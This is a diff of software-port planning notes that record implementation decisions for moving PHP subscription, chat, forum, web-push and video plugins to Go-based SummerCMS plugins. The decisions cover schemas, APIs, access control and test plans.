+- `/media/nvme/dev/golem15/horoskopia.eu/plugins/golem15/horoscope/routes.php` (around lines 364–760): the `plans` and `my/subscription*` routes that call `Subscription::forSubscriber`, `SubscriptionPlan` and the `SubscriptionGateway` binding
+- `/media/nvme/dev/golem15/horoskopia.eu/plugins/golem15/horoscope/classes/SubscribableUserAdapter.php`: the `user` subscribable and `users.stripe_customer_id` (D-08, D-09)
+- `/media/nvme/dev/golem15/horoskopia.eu/plugins/golem15/horoscope/Plugin.php` (around lines 335–480): the User relation extension and the four `golem15.pgsub.subscription.*` listeners

+- `modules/festival/README.md`: typed events
+- `modules/lagoon/encrypted.go`, `modules/lagoon/laravel_decrypt.go`: D-12
+- `modules/pact/`: the capability pattern for gateway and subscriber registration
+- `modules/cabana/README.md`: admin lists, forms and reorder, bulk actions, settings pages
+
+</canonical_refs>
+
+<code_context>
+## Existing Code Insights
+
+### Reusable Assets
+- From Phase 18 (once built): the stripe-go client and its `httptest` fake, the encrypted Stripe settings page with a test/live switch, the Money type, the operator registry pattern (a model for the gateway and subscriber registries), and `vue-paymentgateway-layer`.
+- `conga`: River jobs for webhook processing.
+- `festival.Bus`: the `golem15.pgsub.*` events.
+- `sm-user-plugin`: the `users` table and the authenticated customer behind the built-in `user` subscribable.
+- `sm-journal-plugin/routes.go`: the `/_x/api/v1` route, limiter and CORS pattern.
+
+### Established Patterns
+- Core plugins keep PHP table names, columns, permission codes, event names and config keys.
+- Squashed, idempotent baseline migrations that adopt existing PHP databases (Phase 5).
+- Framework and plugin READMEs never name a consuming application.
+
+### Integration Points
+- A new sibling checkout `/media/nvme/dev/golem15/summercms.io/summercms/sm-paymentgatewaysubscriptions-plugin/`. Confirm the remote exists before the first push.
+- A new subpackage in `sm-pgstripe-plugin` (Phase 18's repo).
+- New subscription pieces in `vue-paymentgateway-layer` (Phase 18's repo).
+- `summercms.go` only if a framework feature is missing, for example cabana bulk list actions for the plan sync.
+- Phase 18 must be executed first: 18.1 builds on its pgstripe, Money, settings and layer.
+
+</code_context>
+
+<specifics>
+## Specific Ideas
+
+- Horoskopia's flow: `Subscription::forSubscriber('user', $id)->latest()` gives the current subscription. Checkout goes through `app(SubscriptionGateway::class)->createCheckoutSession(adapter, plan, success, cancel)` and the frontend redirects. `createManagementSession` opens the Stripe billing portal. The Go service API must keep this sequence just as short.
+- `syncPlanToGateway` returns a currency → price ID map and stores the provider IDs on the plan (`stripe_product_id`, `stripe_prices`).
+- The idempotency marker is written only after the job succeeds (STRIPE-006). Keep that ordering.
+
+</specifics>
+
+<deferred>
+## Deferred Ideas
+
+- **Quotify-specific subscription features** (lead fees and Stripe Billing Meters via `LeadFeeSubscriber`/`MeterService`/`UsageRecord`, `FeaturedPlacement`, quote analytics via `AnalyticsService`/`AnalyticsDashboard`, and `QuotaExceededException`) go to Quotify's own port. Their tables already exist through D-04.
+- **A Google Play subscription gateway** would be a future plugin implementing `SubscriptionGateway`.
+- **A generic admin subscription dashboard** (MRR, churn, active counts) is a new capability. Revisit it after the Horoskopia port, when real data exists.
+
+### Reviewed Todos (not folded)
+- `mailblocker-with-mailing.md`, `refresh-fonoteka-readme.md`, `faq-plugin-port.md`, `journal-imported-html-admin-resave.md`: these matched on keywords only and are unrelated to subscriptions.

+## Claude's Discretion
+
+- Go names for the registries, interfaces, events and service API
+- Typed festival event shapes for the six `golem15.pgsub.*` events
+- Admin plan editing (`currency_prices`, `stripe_prices`), the reorder and the Sync to Stripe bulk actions, and the `manage_placements` permission code
+- The test-host proof flows and mapping pgstripe's tests to Go cases
+- Plan count and split
+
+## Deferred Ideas
+
+- Quotify lead fees and metering, featured placements and quote analytics: Quotify's port
+- A Google Play subscription gateway plugin
+- A generic admin subscription dashboard (MRR, churn), after the Horoskopia port

+# Phase 19: Chat and ChatChannels - Context
+
+**Gathered:** 2026-10-09
+**Status:** Ready for planning
+
+<domain>
+## Phase Boundary
+
+`Golem15.Chat` and `Golem15.ChatChannels` run on SummerCMS as the shared plugins `sm-chat-plugin` (`golem15.chat`) and `sm-chatchannels-plugin` (`golem15.chatchannels`), with realtime delivery through `lighthouse`. What they provide:
+
+- The schema, models, context adapters, jobs and services from PHP.
+- A typed Go service API.
+- A generic headless JSON API (`/_chat/api/v1`, `/_chatchannels/api/v1`).
+- Private attachments and message search.
+
+The point is to have them ready for the later Wavepath port.
+
+Wavepath's own `/_wave/api/v1/community/...` routes, the satellites (chatbots, chatvideo, forum, herald, userfriends; Phase 19.1), the Vue frontend and the Wavepath app port itself are out of scope.
+
+**Repos touched:** `sm-chat-plugin` and `sm-chatchannels-plugin` (new, under `git.golem15.com/golem15/`), plus additive changes to `sm-user-plugin` (D-15, D-17) and `summercms.go` only if `lighthouse`, `attach` or `beachcomber` lack a feature. The ROADMAP Phase 19 "Repos" line and success criterion 3 need updating to match D-06 to D-09 and D-15 (do it in the first planning commit).
+
+</domain>
+
+<decisions>
+## Implementation Decisions
+
+### Source and legacy
+- **D-01:** **The frozen port contract is Wavepath's tree:** chat at `943b712` and chatchannels at `b92fb42`, read from `/media/nvme/dev/jz/wavepath.org/plugins/golem15/{chat,chatchannels}`.
+  - The starter's chat (`4db7484`) is a strict ancestor, 97 commits behind, with nothing Wavepath lacks. Do not use it.
+  - The P15/P18 frozen-source rule applies. Binding: table and column names, migration-equivalent schema, realtime event names, channels and payloads, serializer output (`toApiArray` and friends), console command names, config keys and lang keys.
+  - **Reversibility:** costly. Names are copied into the DBs and clients of every app.
+- **D-02:** **No QuestStream trace in the Go plugins.** Not ported:
+  - the `family_id` column and its index;
+  - `Conversation::LEGACY_FAMILY_CONTEXT`, `scopeForFamily`, `findOrCreateDm($family)` and `findOrCreateFamilyGroup`;
+  - `ChatService::getFamilyGroupChat` and `addUserToFamilyGroupChat`;
+  - the `migrate_family_to_context` data migration;
+  - the `parent_oversight` lang string;
+  - the QuestStream `ApiController` parent class.
+
+  No identifier, string, comment or README names QuestStream, family, parent or child. The user does not plan a QuestStream port soon.
+- **D-03:** **`canActAs` stays in the context contract, fully generic.** It means "this actor may act on behalf of another member within this context", with a neutral Go name chosen by Claude (for example `CanActFor(ctx, actorID, memberID)`). Adapters that don't need it return false. The PHP session-based "pick the member to act as" flow from the `ChatWindow` component is not ported.
+- **D-04:** **Migrations are one squashed, idempotent baseline per plugin,** equal to the final PHP schema minus `family_id`: chat v1.3.0 (conversations, participants, messages with `root_id`/`edited_at`/soft deletes, thread_summaries) and chatchannels v1.6.0 (channels, channel_categories, personal_categories, channel_user_prefs, channel_members, channel_mentions, channel_pins, user_context_prefs). The baseline adopts an existing Wavepath database unchanged, as in Phase 5 and P18.1 D-04. The researcher diffs it against a real Wavepath DB.
+  - **Reversibility:** one-way. Migration IDs and table shapes become the shared contract.
+- **D-05:** **`family_id` on adopted databases is ignored.** Fresh databases never get the column. On an adopted Wavepath DB it stays, nullable and untouched; Go never reads, writes or drops it.
+
+### HTTP surface
+- **D-06:** **Both plugins ship a typed Go service API plus a generic headless JSON API.**
+  - **Service API:** a ChatService/ChannelService successor that mirrors the PHP services. App routes (the future Wavepath `/_wave` port) call it.
+  - **Generic API:** `/_chat/api/v1` (conversations, messages, DMs, replies and threads, read, typing, mute, attachments) and `/_chatchannels/api/v1` (channels, categories, personal categories, prefs, members, pins, mentions, message search). Each plugin owns its prefix (the `/_x/api/v1` convention, P15 D-14, P18 D-06), so an app that imports only chat gets no channel routes.
+  - **Reversibility:** one-way. It's a published API that apps will consume.
+- **D-07:** **The generic API mirrors Wavepath's community routes.** It has the same operations, parameters and JSON payloads as `/_wave/api/v1/community/...` (`wavepath/routes.php` lines 488-526, 558-590, 673-721, and `threads/{rootId}/mute`), re-rooted at context-neutral paths. Both use one serializer set, so the Wavepath port can make its routes thin aliases or move the SPA onto `/_chat`.
+- **D-08:** **Contexts are addressed by morph alias and id,** for example `/_chat/api/v1/contexts/{type}/{id}/conversation`. `{type}` is the alias registered at build time (D-11), and access is decided by the context adapter (`hasMember`, `canOverseeChats`, `isChatEnabled`). Conversation- and message-level routes use their own ids, and participation is checked on every call.
+- **D-09:** **Auth is `jwt.auth`, with named rate-limit buckets.** The `chat-dm` bucket (10 per minute per user, PHP's `throttle:chat-dm`) guards DM start, and a general chat API bucket covers the rest. Mounting follows the `lighthouse.Mount` surfaces pattern, so the app picks the guard.
+- **D-10:** **The legacy `/api/chat/dm` and `/api/chat/attachments/{messageId}/{fileId}` routes are dropped,** along with the `ChatWindow` and `ChatBadge` components and their `chat.js`. Both routes fatal on PHP today, and no client calls them (Wavepath's `dmApi.ts` avoids the attachment path explicitly).
+- **Parity proof (replaces SC3's route wording):** golden tests show that the serializers (`Message.toApiArray` with attachments, thread summaries, channel, category, pref, pin and mention arrays) and every realtime event (name, channel and payload) match PHP output captured from Wavepath. Route-level parity of `/_wave` is checked at the Wavepath port.
+
+### Extension seams
+- **D-11:** **Contexts plug in through a build-time morph registry,** the successor of the `chat.context.resolver` singleton (`registerAdapter`, `registerProvider`).
+  - At Boot, an app or plugin registers a morph alias with a loader that returns a Go chat-context interface: members, `hasMember`, `canOverseeChats`, `isChatEnabled`, group chat name, the D-03 act-for hook, and a broadcast channel of 2 or 3 segments.
+  - This mirrors P18.1 D-08. An unknown `context_type` read from the DB fails loudly and is never silently skipped.
+- **D-12:** **Existing PHP class names in `context_type` (and `golem15_chatchannels_channels.context_type`) are rewritten to aliases on adoption.**
+  - A Go migration or adoption command rewrites the stored class strings to the registered aliases once. The class → alias map comes from the registrations (each registration may declare the legacy PHP class it replaces).
+  - After the rewrite, PHP can no longer resolve these rows, so it's a cutover point of no return, like P18 D-11's v2 rows. The app port takes a DB backup first.
+  - The researcher checks the other morph columns that store PHP class names, especially `system_files.attachment_type` for chat attachments (`Golem15\Chat\Models\Message`). The attachment owner morph name must keep resolving adopted files.
+  - **Reversibility:** one-way. Stored rows in every adopting app's DB change.
+- **D-13:** **Cross-plugin hooks are typed festival events.**
+  - chat fires typed events for message create, update and delete inside the write transaction. chatchannels listens to them for mention accrual, reconcile and remove, and for search index and deindex.
+  - User lifecycle (the `beforeDelete` GDPR cascade and handle generation on create) uses `sm-user-plugin` events. Any that don't exist yet are added there, additively.
+  - Plugins never patch each other's models (the successor of `Message::extend` and `User::extend`).
+- **D-14:** **ChannelAccessResolver** (`canAccessContext`, `canManageContext`) **is deny-all by default, with a setter.** The app installs its own resolver at Boot, and Boot logs a Warn when chatchannels runs with the default.
+- **D-15:** **`users.handle` moves into `sm-user-plugin`.**
+  - The user plugin owns the column (unique, added idempotently if missing so Wavepath's DB adopts unchanged), handle auto-generation (the HandleGenerator port) and the backfill.
+  - chatchannels uses it for `@mentions` (MentionParser regex `@([\w.-]{2,255})`).
+  - This is an additive change to a core plugin contract.
+  - **Reversibility:** costly. It adds a column and behavior on the shared `users` table across every app that mounts the user plugin.
+- **D-16:** **The WebSockets `$require` is replaced by `lighthouse`.** Broadcasts go through the lighthouse service: model broadcasts through a `lighthouse.Bind` binding, explicit events through `Emit`/`Publish`. chat registers the `chat` namespace authorizer (`chat:conversation:{id}`, participants only, capabilities `["prs"]`).
+- **D-17:** **`sm-user-plugin` registers the lighthouse `user` namespace authorizer** (`user:{id}` allowed only to that user) if it doesn't already. chat (`chat:message`, `chat:unread`) and chatchannels (`mentions.changed`) publish there, and Phase 19.1's herald and forum will too.
+
+### Attachments and search
+- **D-18:** **Attachments are private `lagoon/attach` files.**
+  - They are `system_files` rows with `is_public=false`, stored through `attach.Store` with ChatAttachmentPolicy's limits: 100 MB (`MAX_KB` 102400), at most 5 files (`MAX_ATTACHMENTS`), an extension allowlist, and SVG, HTML and XML blocked.
+  - Downloads go only through a `/_chat/api/v1` route that checks participation and streams the blob. They're never reachable through the public static handler.
+  - The attachment `kind`, `width` and `height` serialization stays as in PHP.
+- **D-19:** **`chat:migrate-attachments` is not ported.** Run it on PHP before cutover.
+- **D-20:** **Message search ports on `beachcomber`.**
+  - The read-only `MessageIndex` becomes a `beachcomber.Searchable` registration from chatchannels.
+  - It uses the same Typesense collection name (the scout prefix plus `messages`) and the same document fields.
+  - Indexing fails open, as in PHP.
+  - Search is exposed through `/_chatchannels/api/v1`.
+
+### Proof and tests
+- **D-21:** **A test-only host in each plugin repo,** as in P18 D-03: testcontainers Postgres, the lighthouse memory driver, beachcomber with a fake engine, a neutral fixture context (for example `acme` teams, as chatchannels' PHP tests use `Acme\Teams\Team`), and `sm-user-plugin`. Every PHP test method (59 in chat, about 130 in chatchannels) maps to a Go case or to an explicit "not applicable" note (QuestStream-only cases). Golden payloads and events are captured from Wavepath. The mapping is completed in the last plan.
+
+### Claude's Discretion
+- Go package, type and identifier names, including the context interface, the registry, the act-for hook, the service APIs and the event types.
+- Exact endpoint paths of the generic API, within D-07 and D-08.
+- Queue name and job shape for `MaintainThreadSummaryJob` on conga (PHP uses the `broadcasts` queue; it's dispatched after message create and delete when `root_id` is set, off-request).
+- Config keys: `use_ui_avatars` (env `CHAT_USE_UI_AVATARS`) carries over under the plugin namespace.
+- Lang strings port to phrasebook in EN and PL. The plugin display name becomes neutral (for example "Chat" rather than "Friends Chat"), and QuestStream strings are dropped per D-02.
+- Whether the adoption rewrite (D-12) is a migration, a console command, or both.
+- Plan count and split, subject to the plan-count checkpoint and "unit tests are the last plan". Expect chat first, then chatchannels, then the user plugin additions where they're needed.
+- Run the security-review agent. The phase adds a public authenticated API, private file downloads, channel authorization and a GDPR delete cascade.

+## Existing Code Insights
+
+### Reusable Assets
+- `lighthouse`: replaces the whole WebSockets dependency. `Bind` covers the `created.chat.message` model broadcast; `Emit` and `Publish` cover the typing, read, unread, `chat:message` and `mentions.changed` events; `Registry.Register("chat", …)` covers ChatChannelAuthorizer; `MemoryDriver` serves the golden event tests.
+- `lagoon/attach`: protected `system_files` storage with limits and an extension and MIME allowlist, matching ChatAttachmentPolicy.
+- `beachcomber` with its `typesense` driver: the Scout successor for MessageIndex.
+- `conga`: River jobs for `MaintainThreadSummaryJob`.
+- `festival`: the typed event bus for the D-13 hooks.
+- `sm-user-plugin`: the `jwt.auth` guard, the user model and lifecycle; it gains `handle` (D-15) and the `user` authorizer (D-17).
+
+### Established Patterns
+- A squashed idempotent baseline that adopts the PHP DB (Phase 5, P18.1 D-04).
+- A build-time registry instead of PHP singletons and config pushes (P18 D-15, P18.1 D-08).
+- A headless `/_x/api/v1` API per plugin (P15 D-14, P18 D-06, P18.1 D-13).
+- Plugin READMEs never name a consuming app (CLAUDE.md); the fixtures use `acme`.
+
+### Integration Points
+- The app (later Wavepath) registers context aliases (D-11), installs the ChannelAccessResolver (D-14), and mounts both APIs (D-09).
+- chat → chatchannels only through festival events (D-13); chatchannels requires chat.
+- Message broadcasts are enqueued in the write transaction through lighthouse callbacks, so nothing is published for a write that rolls back.
+
+</code_context>
+
+<specifics>
+## Specific Ideas
+
+- "No trace of QuestStream / Family / Child at this stage". This applies to code, strings, comments and READMEs.
+- The generic API should let the Wavepath port reuse it rather than re-implement it: identical payloads and serializers.
+
+</specifics>
+
+<deferred>
+## Deferred Ideas
+
+- A `vue-chat-layer` with chat window and badge components: once a client wants the generic API.
+- QuestStream chat features (family contexts, parent oversight): with a future QuestStream port, in its app plugin.
+- `chat:migrate-attachments`: run on PHP before the Wavepath cutover, not ported (D-19).
+- Wavepath's `/_wave/api/v1/community` routes: with the Wavepath app port.
+
+### Reviewed Todos (not folded)
+- The todo matcher returned only keyword noise (journal author fields, menu/faq/sitemap ports, docs and scaffold todos). None concern chat, so none were folded.

+# Phase 19.1: Chat satellites - Context
+
+**Gathered:** 2026-10-09
+**Status:** Ready for planning
+
+<domain>
+## Phase Boundary
+
+The five remaining shared plugins that Wavepath's app plugin requires run on SummerCMS, each in its own `sm-*-plugin` repo under `git.golem15.com/golem15/`:
+
+| PHP plugin | Go repo / plugin ID | What it is | PHP size |
+|---|---|---|---|
+| `Golem15.ChatBots` | `sm-chatbots-plugin` / `golem15.chatbots` | Slash-command registry and dispatcher over chat, the `bot_flags` table, the `BotAuthResolver` seam | ~1.4k LOC |
+| `Golem15.ChatVideo` | `sm-chatvideo-plugin` / `golem15.chatvideo` | LiveKit video sessions per conversation, call links (`join_code`), `video:*` realtime events | ~1.1k LOC |
+| `Golem15.Forum` | `sm-forum-plugin` / `golem15.forum` | Context-scoped categories, threads and posts in Markdown, read marks, a deny-all access resolver | ~2.1k LOC |
+| `Golem15.Herald` | `sm-herald-plugin` / `golem15.herald` | Web Push delivery core: subscriptions, payload, send engine, 404/410 pruning, `HeraldProfile` and `PresenceGate` seams | ~1.5k LOC |
+| `Golem15.UserFriends` | `sm-userfriends-plugin` / `golem15.userfriends` | Friendships, friend groups (members, invites, bans), the friends chat context adapter | ~2.1k LOC |
+
+Each plugin provides its schema, models, a typed Go service API, a generic headless JSON API (D-05) and its events.
+
+Out of scope:
+- Wavepath's own `/_wave/api/v1/community/...` and `/_wave/api/v1/push/...` routes, its controllers, and its host bindings: `WaveForumAccessResolver`, `WaveBotAuthResolver`, `WaveHeraldProfile`, `WavePresenceGate`, `WaveNotificationDispatcher`, `CommunityVideoService` and the group-lifecycle wiring in `wavepath/Plugin.php`.
+- The Vue frontend and the Wavepath app port itself.
+
+**Repos touched:**
+- The five new plugin repos.
+- `sm-user-plugin`, only for additive user-lifecycle events that Phase 19 has not already added.
+- `summercms.go`, for the framework Markdown module (D-17, delivered as a separate quick task), and only if `lighthouse`, `conga`, `fetchguard` or `festival` lack something.
+
+**Roadmap corrections** (make them in the first planning commit):
+- Success criterion 2: drop "Chatbots is wired to `sm-golem-plugin` where the PHP original calls Golem". The PHP chatbots plugin never calls Golem; it requires only Chat and User.
+- Success criterion 2: herald's decision note names `webpush-go` (D-09). Add decision notes for LiveKit (D-13) and bluemonday (D-16).
+- Success criterion 3 is already met. Fonoteka's and Wavepath's userfriends are the same commit (`182b514`, no diff), fonoteka's PHP code never references it, and fonoteka.go has no port. Wavepath's copy is the single source.
+- "Repos" line: add `summercms.go` for the Markdown module.

+## Implementation Decisions
+
+### Carried forward from Phase 19 (not re-decided)
+- **D-01:** **The frozen port contract is Wavepath's tree.**
+  - The commits are chatbots `1ecf8c8`, chatvideo `25135b4`, forum `ad10b54`, herald `a749f83` and userfriends `182b514`, read from `/media/nvme/dev/jz/wavepath.org/plugins/golem15/`.
+  - The P15/P18/P19 frozen-source rule applies. These names and shapes are binding: tables and columns, migration-equivalent schema, realtime event names, channels and payloads, serializer output, console command names, config keys, env names and lang keys.
+  - **Reversibility:** costly. The names are copied into the database and clients of every app.
+- **D-02:** **One squashed, idempotent baseline per plugin,** equal to the final PHP schema, that adopts an existing Wavepath database unchanged (Phase 5, P18.1 D-04, P19 D-04). The researcher diffs each baseline against a real Wavepath database.
+  - The demo-seed migrations (chatvideo `seed_demo_users`, userfriends `seed_demo_friends`) are not ported as behavior (D-07). Their version IDs stay recorded so that adopted databases stay consistent, and fresh databases get no demo users.
+  - **Reversibility:** one-way. Migration IDs and table shapes become the shared contract.
+- **D-03:** **The P19 seam rules apply to every satellite.**
+  - Contexts register through the build-time morph registry (P19 D-11). Stored PHP class names in morph columns are rewritten to aliases on adoption (P19 D-12). That covers `golem15_forum_categories.context_type` and any satellite morph column the researcher finds.
+  - Cross-plugin hooks are typed `festival` events, and no plugin patches another's model (P19 D-13). The GDPR user-delete cascades listen to `sm-user-plugin` events:
+    - chatbots deletes the `bot_flags` row;
+    - forum sets `user_id` to null on threads and posts and keeps the bodies;
+    - userfriends hands group ownership to the oldest admin, else the oldest member, else hard-deletes the empty group, then removes the user's member and ban rows.
+  - Every access seam is deny-all by default and has a setter, and Boot logs a Warn while the default is active (P19 D-14). That covers `ForumAccessResolver`, `BotAuthResolver` and herald's `PresenceGate`.
+  - Realtime goes through `lighthouse`, and user-targeted pushes go to the `user` namespace that `sm-user-plugin` registers (P19 D-16, D-17).
+  - Nothing names QuestStream, family, parent or child (P19 D-02), and READMEs never name a consuming app.
+- **D-04:** **A test-only host per plugin repo** (P18 D-03, P19 D-21): testcontainers Postgres, the lighthouse memory driver, fakes for external services (a LiveKit Twirp fake and a push-service fake), neutral `acme` fixture contexts, and `sm-user-plugin`, plus `sm-chat-plugin` where the plugin requires it. Every PHP test method maps to a Go case or to an explicit "not applicable" note. Golden payloads and events are captured from Wavepath. The mapping is completed in the last plan.
+
+### HTTP surface
+- **D-05:** **Every satellite ships a typed Go service API plus a generic headless JSON API under its own prefix,** following P19 D-06 to D-09:
+  - `/_forum/api/v1` mirrors `/_wave/api/v1/community/forums/{groupId}/...` (categories with create, rename, reorder and delete; threads, posts, edit and delete, read marks, unread count), re-rooted on context alias and id: `/_forum/api/v1/contexts/{type}/{id}/categories`. Access is decided by `ForumAccessResolver`.
+  - `/_chatvideo/api/v1` mirrors `/_wave/api/v1/community/groups/{id}/video` (start, join, leave, end, status) and `community/call-links/{code}`, addressed by conversation, or by context through chat's context registry.
+  - `/_userfriends/api/v1` mirrors `/_wave/api/v1/community/friends*` (list, requests, sent, request, accept, reject, cancel, unfriend) and the group routes (`community/groups*`: groups, members, invites, bans).
+  - `/_herald/api/v1/push/subscription` with POST, PATCH and DELETE, plus `GET /_herald/api/v1/push/vapid-public-key`, mirroring `/_wave/api/v1/push/*`.
+  - `/_chatbots/api/v1` covers the command catalog, filtered by `isAvailable`, and command dispatch, mirroring Wavepath's `CommunityCommandController`. The invoker is always the authenticated actor (PHP CMD-06).
+  - Auth is `jwt.auth`, mounted with the `lighthouse.Mount` surfaces pattern so the app picks the guard. PHP's named rate buckets carry over: `video-initiate` at 5 per minute per user, the friend-request bucket (`community-join`), and a general bucket per API. The actor id always comes from the token, never from the request body.
+  - One serializer set serves both the generic API and the future `/_wave` aliases, so payloads are identical.
+  - **Reversibility:** one-way. These are published APIs that apps will consume.
+- **D-06:** **This reverses the PHP "herald ships no routes" rule** (herald README, D-78-04) for consistency with the other plugins. The herald README's reuse contract is rewritten around the generic API and the Go seams.
+- **D-07:** **Dropped, as in P19 D-10:**
+  - the legacy plugin-owned routes `/api/video/*` and `/api/friends/*`, which no client calls;
+  - the WinterCMS components `VideoCall`, `FriendsList` and `FriendRequests` and their templates;
+  - chatvideo's bundled `livekit-client.umd.min.js`, `video-chat.js`, `video-vue.js` and CSS;
+  - the demo seeders (D-02).
+- **D-08:** **Satellites couple through generic context events, never through each other's types.**
+  - userfriends fires typed festival events for group created, group deleted, member joined and member left.
+  - forum exposes a generic `DeleteContext(type, id)`, a soft-delete cascade over categories, threads and posts. It does not import userfriends.
+  - The app, or a small optional bridge in the app, wires group-deleted to `forum.DeleteContext`. This replaces PHP forum's `class_exists(FriendGroup)` hook.
+  - The other group hooks in `wavepath/Plugin.php` (spawning a chat or channel on group create, ending video on group delete) stay app wiring for the Wavepath port.
+  - userfriends registers its chat context adapter (the `FriendContext` provider) softly, only when chat is registered, through an optional-capability check rather than a hard requirement. This keeps PHP's "chat is the lower layer" rule.
+
+### Herald (Web Push)
+- **D-09:** **Web Push uses `github.com/SherClockHolmes/webpush-go`,** which covers VAPID (RFC 8292) and aes128gcm (RFC 8291).
+  - The decision note required by the roadmap goes in `.planning/notes/` before any herald code lands. It records the version, maintenance state, transitive dependencies (it should already share `golang-jwt/jwt/v5`), and how its HTTP client is swapped for fetchguard's (D-10).
+  - The researcher verifies that the library's `Options.HTTPClient` accepts a `fetchguard.Client`-backed doer. If it doesn't, the note records the adapter.
+  - **Reversibility:** reversible. It sits behind the plugin's own sender.
+- **D-10:** **Every push send goes through a `fetchguard` PublicOnly client** (HTTPS only, private and reserved IPs refused at dial time).
+  - There is no `EndpointGuard` seam. Dial-time checks close the subscribe-then-send DNS-rebind gap that PHP's IP pinning (`CURLOPT_RESOLVE`) and the host-bound `SsrfGuard` existed for.
+  - Subscribe time also validates the endpoint URL (HTTPS, public host).
+  - This is fail-closed by default, where PHP's `AllowAllEndpointGuard` was fail-open.
+- **D-11:** **Sends run as a `conga` job, one per send.**
+  - `SendEvent` and `SendUnconditional` enqueue a River job inside the caller's transaction, so a rolled-back write pushes nothing.
+  - The job runs `PresenceGate.ShouldSend` (for `SendEvent` only), builds the payload with `HeraldProfile`, sends to every subscription the user has, and prunes 404 and 410 endpoints.
+  - River provides retries and backoff. PHP's rate-limited OBS-01 warning for other delivery failures carries over.
+  - The PHP defaults carry over: TTL 2419200 (4 weeks) and urgency `normal`, both overridable per send.
+- **D-12:** **VAPID keys are config keys** `golem15.herald.vapid.{subject,public_key,private_key}` with the default subject `mailto:admin@example.com`.
+  - The PHP env names `VAPID_SUBJECT`, `VAPID_PUBLIC_KEY` and `VAPID_PRIVATE_KEY` are mapped so an adopted `.env` works unchanged.
+  - `summer herald:vapid-generate` (the PHP `herald:vapid-generate`) prints a new keypair. The private key is never logged and never appears in a payload.
+  - Boot warns when the keys are missing. Keys are never generated automatically, because rotating them invalidates every subscription.
+
+### ChatVideo (LiveKit)
+- **D-13:** **chatvideo uses the official `github.com/livekit/server-sdk-go`** for access tokens and RoomService (create, delete, remove participant, participant count, list rooms).
+  - A decision note in `.planning/notes/`, written before the code lands, records the version, the transitive dependency footprint (`livekit/protocol`, twirp, protobuf; flag anything heavy such as pion), and how tests fake it.
+  - The token claims must match PHP exactly, verified by a golden test: HS256, `iss` set to the API key, `sub` set to the user id as a string, `name`, `iat`/`nbf`/`exp` with `token_ttl` defaulting to 900, a `video` grant with `room`, `roomJoin`, `canPublish` and `canSubscribe`, and an optional JSON `metadata` string carrying the avatar.
+  - The admin URL keeps PHP's fallback: `livekit_admin_url`, else `livekit_url` with `wss://` or `ws://` rewritten to `https://` or `http://`. An error for a missing room is swallowed as in PHP (`participantCount` returns 0, `deleteRoom` is a no-op).
+  - Config keys and env names carry over: `livekit_url` and `LIVEKIT_URL`, the API key, the secret, `max_duration` (3600), `token_ttl` (900), `livekit_admin_url`, `max_participants` (8) and `screen_share`.
+  - **Reversibility:** reversible. It sits behind the plugin's LiveKit service.
+- **D-14:** **The stale-session reconciler moves from the Wavepath app into chatvideo.**
+  - A generic reconcile service ends sessions whose LiveKit room is gone or empty, or that have run past `max_duration`. It is exposed as `summer chatvideo:reconcile-sessions` and as a `conga` periodic job (every 5 minutes, as Wavepath schedules it).
+  - The Wavepath port's `wave:reconcile-video-sessions` becomes a thin alias. The researcher reads `wavepath/console/ReconcileVideoSessions.php` and keeps only its generic part.
+- **D-15:** **Realtime events are the PHP events, published through lighthouse.**
+  - `video:call:incoming` goes to recipients' `user:{id}` channels.
+  - `video:call:accepted`, `declined`, `ended`, `video:participant:joined` and `left` go to `video:session:{id}`.
+  - chatvideo registers the `video` namespace authorizer. It allows `video:session:{id}` only to participants of the session's conversation and grants capability `["prs"]`. It replaces `VideoChannelAuthorizer`.
+  - A publish failure is logged and not raised, as in PHP.
+  - The one-active-session-per-conversation unique index and the `card_message_id` and `join_code` columns carry over.
+
+### Forum (Markdown)
+- **D-16:** **Sanitizing uses `github.com/microcosm-cc/bluemonday`,** recorded in a decision note.
+  - The policy is the PHP HTMLPurifier config, 1:1:
+    - Allowed tags: `p, br, strong, em, b, i, h1-h6, ul, ol, li, blockquote, pre, code, a[href|rel|target], table, thead, tbody, tr, th, td, hr, del, ins, sub, sup`.
+    - URL schemes: `http`, `https` and `mailto`.
+    - Links get `target=_blank` and `rel=nofollow`.
+  - Conversion uses `goldmark`, already a dependency, with GFM. That covers tables, strikethrough and autolinks (the external-link behavior), with raw HTML input stripped (PHP `html_input=strip`) and unsafe links disallowed.
+- **D-17:** **The renderer is a framework module, not forum code.**
+  - It is a small shared package in `summercms.go` (or an extension of cabana's markdown support; the quick task decides) that exports `Render(markdown)` and `Purify(html)` with a named policy.
+  - The user's direction: "Framework module, done with gsd-quick by summer agent. We'll need that in multiple places." It is delivered as a separate `/msd-quick` task in `summercms.go` by the summer agent. It is not a plan of this phase. The forum plans consume it, and the Wavepath port's `purify()` callers (trainings) use it too.
+  - If the quick task hasn't landed when forum execution starts, the forum plan blocks on it. The forum plan does not grow its own renderer.
+  - The module's README and `docs/` page follow the Documentation rules in CLAUDE.md.
+- **D-18:** **`content_html` parity is semantic, and stored rows are kept.**
+  - Adopted `content_html` rows are served as stored and never re-rendered on read. New and edited posts render in Go, on write, as in PHP.
+  - Golden tests compare a normalized DOM (the same tags, attributes and text) against PHP output for a corpus that covers the PHP `ForumMarkdownRenderTest` XSS cases (`<script>`, `javascript:`, `<iframe>`, `onerror`), GFM tables, code blocks, links and autolinks.
+  - Byte-identical HTML is not required.
+
+### Claude's Discretion
+- Go package, type and identifier names for the services, seams, events and jobs. Exact generic API paths within D-05.
+- How chatbots resolves bot bearer tokens through `BotAuthResolver` (deny-all default) on the generic API, and where `is_bot` and the bot flag show up in serializers. Follow Wavepath's `BotRestReachTest` and `WaveBotAuthResolverTest` for the expected behavior.
+- How chatvideo addresses a call in the generic API (by conversation id, or by context alias through chat's registry), as long as Wavepath's group-video payloads are reproducible.
+- Queue names and job shapes on `conga` (herald send, video reconcile).
+- Lang strings port to phrasebook in EN and PL. Plugin display names are neutral.
+- Whether the D-12-style alias rewrite for satellite morph columns extends chat's adoption command or each plugin ships its own.
+- Plan count and split, subject to the plan-count checkpoint and "unit tests are the last plan". Expect userfriends and forum early (no external services), then chatbots, then herald and chatvideo (new dependencies and their decision notes).
+- Run the security-review agent. The phase adds public authenticated APIs, an outbound push sender, a token issuer for a media server, an HTML sanitizer boundary and GDPR delete cascades.

+
+<code_context>
+## Existing Code Insights
+
+### Reusable Assets
+- `lighthouse`: replaces `Golem15.WebSockets` (`CentrifugoClient::publish` and `publishToUsers`, `AuthorizerRegistry`) for chatvideo and herald's presence source.
+- `fetchguard`: a guarded `http.Client` that checks the IP at dial time; it makes herald's `EndpointGuard` and IP pinning unnecessary (D-10).
